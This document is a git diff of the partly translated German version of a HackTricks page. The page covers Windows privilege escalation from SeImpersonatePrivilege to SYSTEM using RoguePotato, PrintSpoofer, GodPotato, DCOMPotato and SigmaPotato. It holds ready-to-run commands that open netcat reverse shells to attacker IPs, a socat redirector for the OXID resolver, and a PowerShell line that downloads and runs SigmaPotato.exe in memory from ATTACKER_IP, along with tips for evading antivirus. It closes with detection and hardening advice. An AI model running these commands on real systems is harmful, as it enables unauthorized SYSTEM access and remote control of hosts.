(Anforderungen und Verhalten der Impersonation). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 78b76e66d..8b9c9c6d7 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** genutzt werden, um **die gleichen Privilegien auszunutzen und NT AUTHORITY\SYSTEM** Level-Zugriff zu erlangen. Dieser [Blogpost](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht detailliert auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um Impersonation-Privilegien auf Windows 10- und Server 2019-Hosts auszunutzen, wo JuicyPotato nicht mehr funktioniert. +> **JuicyPotato doesn't work** auf Windows Server 2019 und Windows 10 Build 1809 und neuer. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** verwendet werden, um dieselben Privilegien auszunutzen und Zugriff auf Ebene `NT AUTHORITY\SYSTEM` zu erlangen. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) geht ausführlich auf das `PrintSpoofer`-Tool ein, das verwendet werden kann, um Impersonation-Privilegien auf Windows-10- und Server-2019-Hosts auszunutzen, auf denen JuicyPotato nicht mehr funktioniert. > [!TIP] -> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), die in-memory/.NET Reflection verwendet und erweiterten OS-Support bietet. Siehe die kurze Nutzung unten und das Repo in den Referenzen. +> Eine moderne Alternative, die 2024–2025 häufig gepflegt wird, ist SigmaPotato (ein Fork von GodPotato), das In-Memory-/ .NET-Reflection-Nutzung und erweiterten OS-Support hinzufügt. Siehe schnelle Nutzung unten und das Repo in References. Related pages for background and manual techniques: @@ -22,9 +22,9 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Voraussetzungen und häufige Stolperfallen +## Requirements and common gotchas -Alle folgenden Techniken basieren darauf, einen zu Impersonation fähigen privilegierten Dienst aus einem Kontext zu missbrauchen, der eines der folgenden Privilegien besitzt: +Alle folgenden Techniken beruhen darauf, einen impersonation-fähigen privilegierten Service aus einem Kontext auszunutzen, der eines der folgenden Privilegien besitzt: - SeImpersonatePrivilege (am häufigsten) oder SeAssignPrimaryTokenPrivilege - Hohe Integrität ist nicht erforderlich, wenn das Token bereits SeImpersonatePrivilege besitzt (typisch für viele Service-Accounts wie IIS AppPool, MSSQL, etc.) @@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate ``` Operational notes: -- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato requires an OXID resolver reachable on TCP/135. If egress is blocked, use a redirector/port-forwarder (see example below). Older builds needed the -f flag. -- EfsPotato/SharpEfsPotato abuse MS-EFSR; if one pipe is blocked, try alternative pipes (lsarpc, efsrpc, samr, lsass, netlogon). -- Error 0x6d3 during RpcBindingSetAuthInfo typically indicates an unknown/unsupported RPC authentication service; try a different pipe/transport or ensure the target service is running. +- PrintSpoofer benötigt, dass der Print Spooler-Dienst läuft und über den lokalen RPC-Endpunkt (spoolss) erreichbar ist. In gehärteten Umgebungen, in denen der Spooler nach PrintNightmare deaktiviert wurde, sind RoguePotato/GodPotato/DCOMPotato/EfsPotato zu bevorzugen. +- RoguePotato benötigt einen OXID resolver, der über TCP/135 erreichbar ist. Falls egress blockiert ist, verwende einen redirector/port-forwarder (siehe Beispiel unten). Ältere Builds benötigten das -f-Flag. +- EfsPotato/SharpEfsPotato missbrauchen MS-EFSR; wenn eine Pipe blockiert ist, probiere alternative Pipes (lsarpc, efsrpc, samr, lsass, netlogon). +- Fehler 0x6d3 während RpcBindingSetAuthInfo deutet typischerweise auf einen unbekannten/nicht unterstützten RPC-Authentifizierungsdienst hin; versuche eine andere Pipe/Transport oder stelle sicher, dass der Zielservice läuft. -## Quick Demo +## Kurze Demo ### PrintSpoofer ```bash @@ -58,8 +58,8 @@ NULL ``` Hinweise: -- Du kannst -i verwenden, um einen interaktiven Prozess in der aktuellen Konsole zu starten, oder -c, um einen Einzeiler auszuführen. -- Benötigt Spooler service. Wenn dieser deaktiviert ist, schlägt das fehl. +- Du kannst -i verwenden, um einen interactive process in der aktuellen Konsole zu starten, oder -c, um einen one-liner auszuführen. +- Erfordert den Spooler service. Wenn dieser deaktiviert ist, schlägt das fehl. ### RoguePotato ```bash @@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Wenn ausgehender Port 135 blockiert ist, pivot the OXID resolver via socat auf deinem redirector: +Wenn outbound 135 blockiert ist, pivot den OXID resolver via socat auf deinem redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -123,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012" ``` Hinweise: -- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, wenn SeImpersonatePrivilege vorhanden ist. +- Funktioniert unter Windows 8/8.1–11 und Server 2012–2022, sofern SeImpersonatePrivilege vorhanden ist. ### DCOMPotato ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato bietet zwei Varianten, die Service-DCOM-Objekte anvisieren, welche standardmäßig RPC_C_IMP_LEVEL_IMPERSONATE verwenden. Kompiliere oder verwende die bereitgestellten binaries und führe deinen Befehl aus: +DCOMPotato bietet zwei Varianten, die auf Service-DCOM-Objekte abzielen, welche standardmäßig auf RPC_C_IMP_LEVEL_IMPERSONATE stehen. Kompiliere oder benutze die bereitgestellten binaries und führe deinen Befehl aus: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (updated GodPotato fork) +### SigmaPotato (aktualisierter GodPotato fork) -SigmaPotato fügt moderne Annehmlichkeiten hinzu, wie in-memory execution via .NET reflection und einen PowerShell reverse shell helper. +SigmaPotato bringt moderne Verbesserungen mit, wie in-memory execution via .NET reflection und einen PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,13 +150,13 @@ SigmaPotato fügt moderne Annehmlichkeiten hinzu, wie in-memory execution via .N ``` ## Erkennungs- und Härtungshinweise -- Überwachen Sie Prozesse, die named pipes erstellen und unmittelbar token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (Prozesserstellung), 17/18 (named pipe erstellt/verbunden) und Kommandozeilen, die Child-Prozesse als SYSTEM starten. -- Spooler-Härtung: Das Deaktivieren des Print Spooler-Service auf Servern, auf denen er nicht benötigt wird, verhindert PrintSpoofer‑artige lokale Coercions über spoolss. -- Härtung von Service-Accounts: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtuellen Konten mit den minimal erforderlichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren. -- Netzwerk-Kontrollen: Das Blockieren von ausgehendem TCP/135 oder das Einschränken von RPC endpoint mapper-Traffic kann RoguePotato verhindern, sofern kein interner Redirector verfügbar ist. -- EDR/AV: Alle diese Tools sind weit verbreitet signiert. Vom Source neu kompilieren, Symbole/Strings umbenennen oder Ausführung im Speicher kann die Erkennung reduzieren, wird solide Verhaltensdetektionen jedoch nicht umgehen. +- Überwachen Sie Prozesse, die named pipes erstellen und unmittelbar token-duplication APIs aufrufen, gefolgt von CreateProcessAsUser/CreateProcessWithTokenW. Sysmon kann nützliche Telemetrie liefern: Event ID 1 (process creation), 17/18 (named pipe created/connected) und Befehlszeilen, die Kindprozesse als SYSTEM starten. +- Spooler-Härtung: Das Deaktivieren des Print Spooler service auf Servern, auf denen er nicht benötigt wird, verhindert PrintSpoofer-ähnliche lokale Ausnutzungen via spoolss. +- Härtung von Service-Accounts: Minimieren Sie die Zuweisung von SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege an benutzerdefinierte Dienste. Ziehen Sie in Betracht, Dienste unter virtual accounts mit den geringst erforderlichen Rechten auszuführen und sie, wenn möglich, mit service SID und write-restricted tokens zu isolieren. +- Netzwerk-Kontrollen: Das Blockieren ausgehender TCP/135-Verbindungen oder das Einschränken von RPC endpoint mapper traffic kann RoguePotato unterbrechen, sofern kein interner redirector verfügbar ist. +- EDR/AV: All of these tools are widely signatured. Recompiling from source, renaming symbols/strings, or using in-memory execution can reduce detection but won’t defeat solid behavioral detections. -## Referenzen +## References - [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) - [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)